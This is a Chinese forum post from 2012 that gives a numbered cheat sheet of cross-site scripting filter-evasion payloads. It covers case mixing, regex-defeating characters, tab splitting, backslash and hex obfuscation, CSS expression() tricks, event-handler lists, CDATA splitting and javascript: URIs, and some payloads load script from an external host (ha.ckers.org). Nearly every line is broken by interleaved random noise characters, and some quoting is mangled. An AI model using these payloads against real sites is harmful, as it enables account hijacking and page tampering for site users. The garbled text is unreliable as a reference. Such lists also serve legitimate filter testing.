找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2563|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写
+ Z' j' \$ K# {5 h1 H2 K3 `0 i1 J8 g5 a1 o) |$ G
( x+ k. P7 R: [, b  L

% M  ^' g1 h3 N5 ~2 ?# H6 [& D" ~    <sCript>alert(‘d’)</scRipT>7 X+ z. x  m7 }4 j# }+ |, N
* F% Y9 C7 k; Y$ K: o  T& X+ W
2. 利用多加一些其它字符来规避Regular Expression的检查+ h' q/ K# X4 E) e5 P! Z5 {2 F

; ?# k0 S% R7 _    <<script>alert(‘c’)//<</script>2 b* r: E- h" M/ C2 J& z

# r8 p4 F9 j( R% n2 ~    <SCRIPT a=">" SRC="t.js"></SCRIPT>' W) U+ Y  S% R

; c* _' O) r; O- z9 ~    <SCRIPT =">" SRC="t.js"></SCRIPT>
9 J5 B/ F3 ~" x5 X6 X4 {- t; V' ]9 s7 L# z& V
    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>9 i5 ]: i4 [' h' K  U$ B$ K
* r7 K- L5 V& O/ R* d$ b3 ^8 R
    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
, e/ g' {- M- M
8 A0 }. `$ b* {/ E$ N% o    <SCRIPT a=`>` SRC="t.js"></SCRIPT>
  u" V0 R5 S0 x0 o* }
& M* ]; ]2 S) g4 i1 o3 J& f: ]    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>
: v2 e$ F  z7 F' S8 t4 `' z6 Y7 l6 P( o5 o
3. 以其它扩展名取代.js
0 A# `: G. D- ?7 g
6 h% u0 F0 F2 W    <script src="bad.jpg"></script>& w3 ?3 B( J3 c% y! A. F% g# w! k
* I7 B7 B# G* U' j1 m" f. F. w0 F0 Z
4. 将Javascript写在CSS档里
( S: c& X$ j- [% Z9 n: g1 C; o. h; G* t6 i0 ]
    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">4 p, F9 K$ D. J  C$ U

# n6 W$ o9 O9 x; n       example:
' Z. n. g  M, ~2 c  d! N+ J) r! g: r; L+ s9 |8 s
          body {
" E0 b3 h, M: f9 m; m, V; e. M# {' s1 n" X+ L# X
               background-image: url(‘javascript:alert("XSS");’)
# z. o- z0 B' t9 }$ j
$ D7 v- u! ~0 P0 T8 ^; R6 g          }0 G; H; k- E& @, J8 o  q6 k
2 u* G1 ]' e0 D" ^6 K1 t; H5 W
5. 在script的tag里加入一些其它字符
! k. b! I% w" ?5 n6 u9 w2 Z& c. P$ k! I$ ~9 ~# y" o  c
    <SCRIPT/SRC="t.js"></SCRIPT>  o7 V+ C. s3 G

- c6 B" G# f' y+ k# ]    <SCRIPT/anyword SRC="t.js"></SCRIPT>/ r) v% X! X7 b; V

' \$ o( e4 A7 i; h/ v6. 使用tab或是new line来规避; y7 @4 U) ?/ k! X! a1 s* s% {$ z

+ ?7 U! F* E# k4 w* F    <img src="jav ascr ipt:alert(‘XSS3′)">6 S* |# M$ g# J- k" d

7 \; F4 I: D: A1 y  K    <img src="jav ascr ipt:alert(‘XSS3′)">& z, M" s$ s* }+ `9 q. l

# q6 y2 {& G  ]( O0 N7 @" J& M    <IMG SRC="jav ascript:alert(‘XSS’);">
5 R4 w1 @9 k7 P: F- c* j# z3 ~+ e1 E+ |+ H) x% ~8 k
         -> tag
2 s2 p$ J2 W; u" ]: L
1 o  M& f: V7 b! |         -> new line! N& k# k- T. r6 A9 w* }! Q
( ?* A2 y# N4 E2 v1 G$ C
7. 使用"\"来规避
4 ^# N8 N8 m9 `- C; B' [2 |& ?& m8 V3 s
    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
  g$ Z1 k- [% i* r" y6 w
, u' k$ J5 b! C9 `    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
0 C% ~- r' k7 i- k2 h/ N) V- p6 Z5 S; p
    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
5 w4 n) t1 N) G# Q! J" o& t" q* b/ e" m' E
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
2 E2 {. p. b6 q- X2 \& b& Q* C- Z* ~
    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>( q) T; E% l: p

3 Q$ w/ O; `3 L# Q% h: i4 _9 e2 {8. 使用Hex encode来规避(也可能会把";"拿掉)$ B) F. E. z; X' u# b0 ?1 Y% D

8 V7 y- ?7 j6 |- {0 x: \$ v9 `    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
+ f; q5 c- S2 c
. A0 C& z+ `% ]0 O+ s! S, X        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">6 O, ?1 x$ G% w1 e0 }

$ ^, E+ M$ }( b  w; u) O, r    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">9 b5 V& @) v, U; x  w( n
- M6 d' b1 N8 f  [( `
        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">. x* u8 B0 l' U' A4 M/ }; f7 c1 ^& p
4 H; c* L8 w! a7 P+ o6 U
9. script in HTML tag, k; Y$ Z+ g: n! o$ i6 ^
1 v7 F$ [0 t8 b  ^  b8 Y$ I% z
    <body onload=」alert(‘onload’)」>4 Y+ |  g" D2 _# j1 k2 S
2 A9 c$ _5 r  m" J
        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload, Z% ~' I9 O0 o& Y. `- A

$ H& u4 ~( j) x( C10. 在swf里含有xss的code
* y  K0 Y- m! d( v3 o0 F3 m* r( T: H# m7 g+ e
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
! s6 l; Z- p* d; [& `6 g( i& E5 s4 H& W+ K8 X9 x
11. 利用CDATA将xss的code拆开,再组合起来。5 E( O1 b, L5 O2 Y' Z! P

4 r! f! C' j3 t, Y    <XML ID=I><X><C>* L; J  D' r1 v$ E9 q$ D( u8 u- m
1 W* W; |+ f7 @
    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
  l7 i2 P; e0 A# t+ X: G0 t# K/ O8 J- k* ~) k5 A
    </C></X>
  n5 K: H) T" J4 D9 Y/ v
8 P" t) B; [7 G5 n# W7 k1 N    </xml>
4 M: H9 E7 W( W( Q3 D" V4 W& Q
/ n/ x" y/ f0 s+ v. _" H( }6 B# f    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>' o( k. I1 t' o+ L9 T$ D# w8 Q
( X, e6 T* i7 ~( `6 u
    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>. b$ T, S  w9 ~7 u3 b7 H6 n
" W  l  ]8 A7 @  h) w
    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>- ]" X+ g9 E$ C$ K" @& C
/ |) ?$ q# |! ?3 C& d
12. 利用HTML+TIME。; @( o  Z* y; b. D

$ C1 {. Y5 ^1 g3 ~    <HTML><BODY>
6 n# @, i; K4 a3 h# r* L7 r3 k6 J
  P# Z" |, ]! B    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">; `1 X- A$ _* S
7 r3 o5 T' W+ t- |
    <?import namespace="t" implementation="#default#time2">
7 D! R+ A4 _1 X" f" Q) S, C' Q; `# w, U. r0 Z- ]; y
    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">( O" N# I' f* F

" |- {, m- s7 e( O& b    </BODY></HTML>
, E  q% r+ v: p' W
" K/ B4 A. ?/ @$ |; ~; x7 }) C13. 透过META写入Cookie。
! L: P' {. H6 l" ~
. Q! y5 x" O9 i) j    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">; T8 L# E; X5 [' m# b- j5 L) z) m# i
% E6 e# p2 p/ T4 d% p5 R
14. javascript in src , href , url
8 p- ?* R$ k. g/ u4 N6 f; b1 T
, e- P5 W8 m' ^* ?# @5 `    <IFRAME SRC=javascript:alert(’13′)></IFRAME>* Q6 b7 Q7 V, _- l3 r
* e8 ?7 U! z9 q  ^
    <img src="javascript:alert(‘XSS3′)">
( C3 H0 i- j$ C- G+ h5 w
) [. m1 G+ u4 Y" d, \<IMG DYNSRC="javascript:alert(‘XSS20′)">
) M- P1 z* a$ G! k5 E/ g9 _1 U5 i8 b- F& O
    <IMG LOWSRC="javascript:alert(‘XSS21′)">- ?& Z5 |" S' z! r  P4 m

* Q: m; X4 }* ~2 h3 ~% u    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">- v- ~# P" m: I& C7 n' _

, r: N+ A3 \& p3 K8 d& G" k( f    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
! T( Z" B$ P, _& W
  i; j6 H/ K% |" L    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">2 P  l3 y" s2 ?  c2 Y& m% X

& i4 F2 J2 m% c7 i    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">* b, R, N) Q7 S* ~/ C

2 j4 c, G- u! I    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}! z: h" q5 I+ D) Q* c8 M1 G
/ ^; D# p8 C, E) F% P) B1 R- V
    </STYLE><A CLASS=XSS></A>
, f( h+ d2 Z1 K# E* t: z, ?1 u7 A
$ c1 T6 {. Y5 u( @! I    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
: f6 P6 K/ J! p# x
' t- ]2 ~4 ]5 F2 W% F4 N. T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表